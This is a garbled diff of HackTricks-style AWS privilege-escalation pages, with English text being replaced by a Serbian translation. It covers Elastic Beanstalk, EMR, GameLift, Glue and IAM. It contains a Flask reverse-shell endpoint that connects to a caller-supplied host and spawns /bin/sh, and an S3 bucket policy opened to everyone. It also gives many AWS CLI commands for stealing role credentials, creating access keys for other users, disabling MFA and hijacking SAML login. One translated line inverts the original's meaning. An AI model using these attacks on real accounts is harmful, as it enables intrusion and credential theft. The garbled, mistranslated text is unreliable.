s.connect((host,int(port)))
|
||||
os.dup2(s.fileno(),0)
|
||||
os.dup2(s.fileno(),1)
|
||||
os.dup2(s.fileno(),2)
|
||||
p=subprocess.call(["/bin/sh","-i"])
|
||||
return jsonify('done')
|
||||
host=request.args.get('host')
|
||||
port=request.args.get('port')
|
||||
if host and port:
|
||||
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
s.connect((host,int(port)))
|
||||
os.dup2(s.fileno(),0)
|
||||
os.dup2(s.fileno(),1)
|
||||
os.dup2(s.fileno(),2)
|
||||
p=subprocess.call(["/bin/sh","-i"])
|
||||
return jsonify('done')
|
||||
|
||||
if __name__=="__main__":
|
||||
application.run()
|
||||
application.run()
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="requirements.txt" }}
|
||||
|
||||
```
|
||||
click==7.1.2
|
||||
Flask==1.1.2
|
||||
@@ -125,44 +108,42 @@ Jinja2==2.11.3
|
||||
MarkupSafe==1.1.1
|
||||
Werkzeug==1.0.1
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**):
|
||||
|
||||
Kada imate **svoju Beanstalk okolinu koja radi** vašu rev shell, vreme je da je **migrate** u **žrtvinu** okolinu. Da biste to uradili, potrebno je da **ažurirate Bucket Policy** vašeg beanstalk S3 bucket-a tako da **žrtva može da mu pristupi** (Napomena: ovo će **otvoriti** Bucket za **SVE**):
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"s3:ListBucket",
|
||||
"s3:ListBucketVersions",
|
||||
"s3:GetObject",
|
||||
"s3:GetObjectVersion",
|
||||
"s3:*"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
|
||||
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
|
||||
]
|
||||
},
|
||||
{
|
||||
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
|
||||
"Effect": "Deny",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "s3:DeleteBucket",
|
||||
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"s3:ListBucket",
|
||||
"s3:ListBucketVersions",
|
||||
"s3:GetObject",
|
||||
"s3:GetObjectVersion",
|
||||
"s3:*"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
|
||||
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
|
||||
]
|
||||
},
|
||||
{
|
||||
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
|
||||
"Effect": "Deny",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "s3:DeleteBucket",
|
||||
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
@@ -181,9 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
|
||||
|
||||
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EMR
|
||||
|
||||
More **info about EMR** in:
|
||||
Više **informacija o EMR** u:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-emr-enum.md
|
||||
@@ -12,57 +12,51 @@ More **info about EMR** in:
|
||||
|
||||
### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
|
||||
|
||||
An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\
|
||||
Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`).
|
||||
|
||||
Napadač sa ovim dozvolama može **pokrenuti novi EMR klaster povezujući EC2 uloge** i pokušati da ukrade njegove akreditive.\
|
||||
Imajte na umu da bi za to trebalo da **znate neki ssh privatni ključ uvezen u nalog** ili da uvezete jedan, i da možete da **otvorite port 22 na glavnom čvoru** (možda ćete moći to da uradite sa atributima `EmrManagedMasterSecurityGroup` i/ili `ServiceAccessSecurityGroup` unutar `--ec2-attributes`).
|
||||
```bash
|
||||
# Import EC2 ssh key (you will need extra permissions for this)
|
||||
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
|
||||
chmod 400 /tmp/sshkey
|
||||
base64 /tmp/sshkey.pub > /tmp/pub.key
|
||||
aws ec2 import-key-pair \
|
||||
--key-name "privesc" \
|
||||
--public-key-material file:///tmp/pub.key
|
||||
--key-name "privesc" \
|
||||
--public-key-material file:///tmp/pub.key
|
||||
|
||||
|
||||
aws emr create-cluster \
|
||||
--release-label emr-5.15.0 \
|
||||
--instance-type m4.large \
|
||||
--instance-count 1 \
|
||||
--service-role EMR_DefaultRole \
|
||||
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
|
||||
--release-label emr-5.15.0 \
|
||||
--instance-type m4.large \
|
||||
--instance-count 1 \
|
||||
--service-role EMR_DefaultRole \
|
||||
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
|
||||
|
||||
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
|
||||
aws emr describe-cluster --cluster-id <id>
|
||||
# In MasterPublicDnsName you can find the DNS to connect to the master instance
|
||||
## You cna also get this info listing EC2 instances
|
||||
```
|
||||
Napomena kako je **EMR uloga** specificirana u `--service-role` i **ec2 uloga** je specificirana u `--ec2-attributes` unutar `InstanceProfile`. Međutim, ova tehnika omogućava samo krađu EC2 uloge akreditiva (jer ćete se povezati putem ssh), ali ne i EMR IAM uloge.
|
||||
|
||||
Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
|
||||
|
||||
**Potential Impact:** Privesc to the EC2 service role specified.
|
||||
**Potencijalni uticaj:** Privesc na EC2 servisnu ulogu koja je specificirana.
|
||||
|
||||
### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
|
||||
|
||||
With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role.
|
||||
Sa ovim dozvolama, napadač može otići na **AWS konzolu**, kreirati Notebook i pristupiti mu da ukrade IAM ulogu.
|
||||
|
||||
> [!CAUTION]
|
||||
> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related.
|
||||
> Čak i ako prikačite IAM ulogu na instancu notebook-a, u mojim testovima sam primetio da sam mogao da ukradem AWS upravljane akreditive, a ne akreditive povezane sa IAM ulogom.
|
||||
|
||||
**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
|
||||
**Potencijalni uticaj:** Privesc na AWS upravljanu ulogu arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
|
||||
|
||||
### `elasticmapreduce:OpenEditorInConsole`
|
||||
|
||||
Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\
|
||||
The URL of the notebook is `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
|
||||
Samo sa ovom dozvolom, napadač će moći da pristupi **Jupyter Notebook-u i ukrade IAM ulogu** koja mu je povezana.\
|
||||
URL notebook-a je `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
|
||||
|
||||
> [!CAUTION]
|
||||
> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related
|
||||
> Čak i ako prikačite IAM ulogu na instancu notebook-a, u mojim testovima sam primetio da sam mogao da ukradem AWS upravljane akreditive, a ne akreditive povezane sa IAM ulogom.
|
||||
|
||||
**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
|
||||
**Potencijalni uticaj:** Privesc na AWS upravljanu ulogu arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,19 +4,13 @@
|
||||
|
||||
### `gamelift:RequestUploadCredentials`
|
||||
|
||||
With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**.
|
||||
|
||||
Sa ovom dozvolom, napadač može da dobije **novi set kredencijala za korišćenje prilikom otpremanja** novog skupa datoteka za izgradnju igre na Amazon GameLift-ov Amazon S3. Vraća **S3 kredencijale za otpremanje**.
|
||||
```bash
|
||||
aws gamelift request-upload-credentials \
|
||||
--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
|
||||
--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,15 +6,14 @@
|
||||
|
||||
### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
|
||||
|
||||
Users with these permissions can **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** with specific permissions to this endpoint.
|
||||
|
||||
After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role:
|
||||
Korisnici sa ovim dozvolama mogu **postaviti novu AWS Glue razvojnu tačku**, **dodeljujući postojeću servisnu ulogu koju Glue može preuzeti** sa specifičnim dozvolama ovoj tački.
|
||||
|
||||
Nakon postavljanja, **napadač može SSH-ovati u instancu tačke**, i ukrasti IAM akreditive dodeljene uloge:
|
||||
```bash
|
||||
# Create endpoint
|
||||
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
|
||||
--role-arn <arn-role> \
|
||||
--public-key file:///ssh/key.pub
|
||||
--role-arn <arn-role> \
|
||||
--public-key file:///ssh/key.pub
|
||||
|
||||
# Get the public address of the instance
|
||||
## You could also use get-dev-endpoints
|
||||
@@ -23,19 +22,17 @@ aws glue get-dev-endpoint --endpoint-name privesctest
|
||||
# SSH with the glue user
|
||||
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
|
||||
```
|
||||
Za svrhe prikrivanja, preporučuje se korišćenje IAM kredencijala iznutra Glue virtuelne mašine.
|
||||
|
||||
For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine.
|
||||
|
||||
**Potential Impact:** Privesc to the glue service role specified.
|
||||
**Potencijalni uticaj:** Privesc na ulogu servisa glue koja je navedena.
|
||||
|
||||
### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
|
||||
|
||||
Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role:
|
||||
|
||||
Korisnici sa ovom dozvolom mogu **promeniti postojeći Glue razvojni** endpoint SSH ključ, **omogućavajući SSH pristup njemu**. Ovo omogućava napadaču da izvršava komande sa privilegijama uloge koja je povezana sa endpoint-om:
|
||||
```bash
|
||||
# Change public key to connect
|
||||
aws glue --endpoint-name target_endpoint \
|
||||
--public-key file:///ssh/key.pub
|
||||
--public-key file:///ssh/key.pub
|
||||
|
||||
# Get the public address of the instance
|
||||
## You could also use get-dev-endpoints
|
||||
@@ -44,13 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
|
||||
# SSH with the glue user
|
||||
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
|
||||
```
|
||||
|
||||
**Potential Impact:** Privesc to the glue service role used.
|
||||
**Potencijalni Uticaj:** Privesc na ulogu servisa glue koja se koristi.
|
||||
|
||||
### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
|
||||
|
||||
Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:UpdateJob`**, and either **`glue:StartJobRun` or `glue:CreateTrigger`** can **create or update an AWS Glue job**, attaching any **Glue service account**, and initiate the job's execution. The job's capabilities include running arbitrary Python code, which can be exploited to establish a reverse shell. This reverse shell can then be utilized to exfiltrate the **IAM credential**s of the role attached to the Glue job, leading to potential unauthorized access or actions based on the permissions of that role:
|
||||
|
||||
Korisnici sa **`iam:PassRole`** u kombinaciji sa bilo kojim od **`glue:CreateJob` ili `glue:UpdateJob`**, i bilo kojim od **`glue:StartJobRun` ili `glue:CreateTrigger`** mogu **napraviti ili ažurirati AWS Glue posao**, pridružujući bilo koji **Glue servisni nalog**, i pokrenuti izvršenje posla. Mogućnosti posla uključuju izvršavanje proizvoljnog Python koda, što se može iskoristiti za uspostavljanje reverzibilne ljuske. Ova reverzibilna ljuska se zatim može koristiti za eksfiltraciju **IAM kredencijala** uloge pridružene Glue poslu, što može dovesti do potencijalnog neovlašćenog pristupa ili radnji na osnovu dozvola te uloge:
|
||||
```bash
|
||||
# Content of the python script saved in s3:
|
||||
#import socket,subprocess,os
|
||||
@@ -65,32 +60,27 @@ Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:U
|
||||
|
||||
# A Glue role with admin access was created
|
||||
aws glue create-job \
|
||||
--name privesctest \
|
||||
--role arn:aws:iam::93424712358:role/GlueAdmin \
|
||||
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
|
||||
--name privesctest \
|
||||
--role arn:aws:iam::93424712358:role/GlueAdmin \
|
||||
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
|
||||
|
||||
# You can directly start the job
|
||||
aws glue start-job-run --job-name privesctest
|
||||
# Or you can create a trigger to start it
|
||||
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
|
||||
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
|
||||
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
|
||||
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
|
||||
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
|
||||
```
|
||||
|
||||
**Potential Impact:** Privesc to the glue service role specified.
|
||||
**Potencijalni Uticaj:** Privesc na ulogu servisa glue koja je specificirana.
|
||||
|
||||
### `glue:UpdateJob`
|
||||
|
||||
Just with the update permission an attacked could steal the IAM Credentials of the already attached role.
|
||||
Samo sa dozvolom za ažuriranje, napadač bi mogao da ukrade IAM kredencijale već prikačene uloge.
|
||||
|
||||
**Potential Impact:** Privesc to the glue service role attached.
|
||||
**Potencijalni Uticaj:** Privesc na ulogu servisa glue koja je prikačena.
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more info about IAM check:
|
||||
Za više informacija o IAM-u pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
@@ -12,228 +12,189 @@ For more info about IAM check:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions.
|
||||
Daje mogućnost kreiranja nove verzije IAM politike, zaobilazeći potrebu za `iam:SetDefaultPolicyVersion` dozvolom korišćenjem `--set-as-default` oznake. Ovo omogućava definisanje prilagođenih dozvola.
|
||||
|
||||
**Exploit Command:**
|
||||
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
|
||||
**Impact:** Directly escalates privileges by allowing any action on any resource.
|
||||
**Uticaj:** Direktno escalira privilegije omogućavajući bilo koju akciju na bilo kojem resursu.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions.
|
||||
|
||||
**Bash Command:**
|
||||
Omogućava promenu podrazumevane verzije IAM politike na drugu postojeću verziju, potencijalno escalirajući privilegije ako nova verzija ima više dozvola.
|
||||
|
||||
**Bash Komanda:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
|
||||
**Impact:** Indirect privilege escalation by enabling more permissions.
|
||||
**Uticaj:** Indirektno povećanje privilegija omogućavanjem više dozvola.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
Enables creating access key ID and secret access key for another user, leading to potential privilege escalation.
|
||||
|
||||
**Exploit:**
|
||||
Omogućava kreiranje ID-a pristupnog ključa i tajnog pristupnog ključa za drugog korisnika, što može dovesti do potencijalnog povećanja privilegija.
|
||||
|
||||
**Eksploatacija:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
|
||||
**Impact:** Direct privilege escalation by assuming another user's extended permissions.
|
||||
**Uticaj:** Direktno povećanje privilegija preuzimanjem proširenih dozvola drugog korisnika.
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation.
|
||||
|
||||
**Exploit for Creation:**
|
||||
Omogućava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za prijavu na AWS konzolu, što dovodi do direktnog povećanja privilegija.
|
||||
|
||||
**Eksploatacija za kreiranje:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
--password '<password>'
|
||||
```
|
||||
|
||||
**Exploit for Update:**
|
||||
|
||||
**Eksploatacija za ažuriranje:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
--password '<password>'
|
||||
```
|
||||
|
||||
**Impact:** Direct privilege escalation by logging in as "any" user.
|
||||
**Uticaj:** Direktno povećanje privilegija prijavljivanjem kao "bilo koji" korisnik.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key.
|
||||
|
||||
**Exploit:**
|
||||
Omogućava aktiviranje onemogućenog pristupnog ključa, što može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni ključ.
|
||||
|
||||
**Eksploatacija:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
|
||||
**Impact:** Direct privilege escalation by reactivating access keys.
|
||||
**Uticaj:** Direktno povećanje privilegija ponovnim aktiviranjem pristupnih ključeva.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user.
|
||||
|
||||
**Exploit for Creation:**
|
||||
Omogućava generisanje ili resetovanje kredencijala za specifične AWS usluge (npr. CodeCommit, Amazon Keyspaces), nasleđujući dozvole povezanog korisnika.
|
||||
|
||||
**Eksploatacija za kreiranje:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
|
||||
**Exploit for Reset:**
|
||||
|
||||
**Eksploatacija za resetovanje:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
|
||||
**Impact:** Direct privilege escalation within the user's service permissions.
|
||||
**Uticaj:** Direktno eskaliranje privilegija unutar dozvola usluge korisnika.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy.
|
||||
|
||||
**Exploit for User:**
|
||||
Omogućava pridruživanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola pridružene politike.
|
||||
|
||||
**Eksploatacija za korisnika:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
|
||||
**Exploit for Group:**
|
||||
|
||||
**Eksploatacija za Grupu:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
|
||||
**Impact:** Direct privilege escalation to anything the policy grants.
|
||||
**Uticaj:** Direktno povećanje privilegija na sve što politika odobrava.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions.
|
||||
|
||||
**Exploit for Role:**
|
||||
Omogućava pridruživanje ili postavljanje politika na uloge, korisnike ili grupe, omogućavajući direktno povećanje privilegija dodeljivanjem dodatnih dozvola.
|
||||
|
||||
**Iskorišćavanje za Ulogu:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
|
||||
**Exploit for Inline Policies:**
|
||||
|
||||
**Eksploatacija za Inline Politike:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
|
||||
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
--policy-document file:///path/to/policy.json
|
||||
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
|
||||
You can use a policy like:
|
||||
|
||||
Možete koristiti politiku kao:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": ["*"],
|
||||
"Resource": ["*"]
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": ["*"],
|
||||
"Resource": ["*"]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
**Impact:** Direct privilege escalation by adding permissions through policies.
|
||||
**Uticaj:** Direktno eskaliranje privilegija dodavanjem dozvola putem politika.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions.
|
||||
|
||||
**Exploit:**
|
||||
Omogućava dodavanje sebe u IAM grupu, eskalirajući privilegije nasleđivanjem dozvola grupe.
|
||||
|
||||
**Eksploatacija:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
|
||||
**Impact:** Direct privilege escalation to the level of the group's permissions.
|
||||
**Uticaj:** Direktno povećanje privilegija na nivo dozvola grupe.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions.
|
||||
|
||||
**Exploit:**
|
||||
Omogućava izmene dokumenta politike pretpostavljanja uloge, omogućavajući pretpostavljanje uloge i njenih povezanih dozvola.
|
||||
|
||||
**Eksploatacija:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
|
||||
Where the policy looks like the following, which gives the user permission to assume the role:
|
||||
|
||||
Gde politika izgleda ovako, što korisniku daje dozvolu da preuzme ulogu:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sts:AssumeRole",
|
||||
"Principal": {
|
||||
"AWS": "$USER_ARN"
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sts:AssumeRole",
|
||||
"Principal": {
|
||||
"AWS": "$USER_ARN"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
**Impact:** Direct privilege escalation by assuming any role's permissions.
|
||||
**Uticaj:** Direktno povećanje privilegija preuzimanjem dozvola bilo koje uloge.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
Omogućava učitavanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog povećanja privilegija.
|
||||
|
||||
**Eksploatacija za učitavanje SSH ključa:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
|
||||
**Exploit for MFA Deactivation:**
|
||||
|
||||
**Eksploatacija za deaktivaciju MFA:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
|
||||
**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection.
|
||||
**Uticaj:** Indirektno eskaliranje privilegija omogućavanjem pristupa CodeCommit-u ili onemogućavanjem MFA zaštite.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection.
|
||||
|
||||
**Bash Command:**
|
||||
Omogućava resinkronizaciju MFA uređaja, što može dovesti do indirektnog eskaliranja privilegija manipulacijom MFA zaštite.
|
||||
|
||||
**Bash Komanda:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
|
||||
**Impact:** Indirect privilege escalation by adding or manipulating MFA devices.
|
||||
**Uticaj:** Indirektno eskaliranje privilegija dodavanjem ili manipulisanjem MFA uređaja.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it.
|
||||
|
||||
Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back
|
||||
Sa ovim dozvolama možete **promeniti XML metapodatke SAML veze**. Tada biste mogli zloupotrebiti **SAML federaciju** da se **prijavite** sa bilo kojom **ulogom koja joj veruje**.
|
||||
|
||||
Imajte na umu da će **legitimni korisnici moći da se prijave**. Međutim, mogli biste dobiti XML, tako da možete staviti svoj, prijaviti se i konfigurisati prethodni nazad.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -249,14 +210,12 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
# Optional: Set the previous XML back
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: A Tool capable of generating the SAML metadata and login with a specified role
|
||||
> TODO: Alat sposoban za generisanje SAML metapodataka i prijavu sa određenom ulogom
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider.
|
||||
|
||||
